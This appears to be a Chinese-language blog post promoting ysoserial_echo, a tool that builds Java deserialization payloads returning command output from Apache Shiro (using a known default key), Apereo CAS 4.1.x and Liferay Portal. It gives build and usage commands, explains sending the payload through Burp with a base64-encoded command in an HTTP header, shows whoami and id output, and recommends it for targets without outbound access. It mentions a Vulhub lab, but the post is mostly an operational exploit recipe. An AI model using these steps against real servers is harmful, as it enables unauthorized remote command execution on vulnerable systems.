今天突然看到一个项目发现很不错。
https://github.com/j1anFen/ysoserial_echo
支持：
ApereoCAS 4.1.X 默认密钥
Shiro spring 环境下回显
Liferay protal 7.0 以上
本地复现环境
Vulhub环境搭建
git下来后，直接在ysoserial_echo-master目录下输入：
mvn clean package -DskipTests
然后就在target目录下得到编译好的jar包
用法：
Author: JF
Usage: java -jar yso-echo-all.jar shiro linux [key default kPH+bIxk5D2deZiIxcaaaA==]
Usage: java -jar yso-echo-all.jar shiro linux 0AvVhmFLUs0KTA3Kprsdag==
Usage: java -jar yso-echo-all.jar liferay win
Usage: java -jar yso-echo-all.jar apereo linux
[Add Request header] c=d2hvYW1p (whoami)
Available payload types:
Payload Authors Dependencies
------- ------- ------------
apereo commons-collections4:4.0
liferay commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
shiro commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
然后输入：
java -jar yso-echo-SNAPSHOT-all.jar shiro linux kPH+bIxk5D2deZiIxcaaaA==
生成了Payload：
复制Payload，利用Burp发包测试：
注意，需要在HTTP头部中，加入字段
c： base64编码后的命令
whoami命令回显：
回显内容为Base64编码，解码后：
id命令回显：
这种应用场景很适合目标不同外网，且无法写入shell的情况。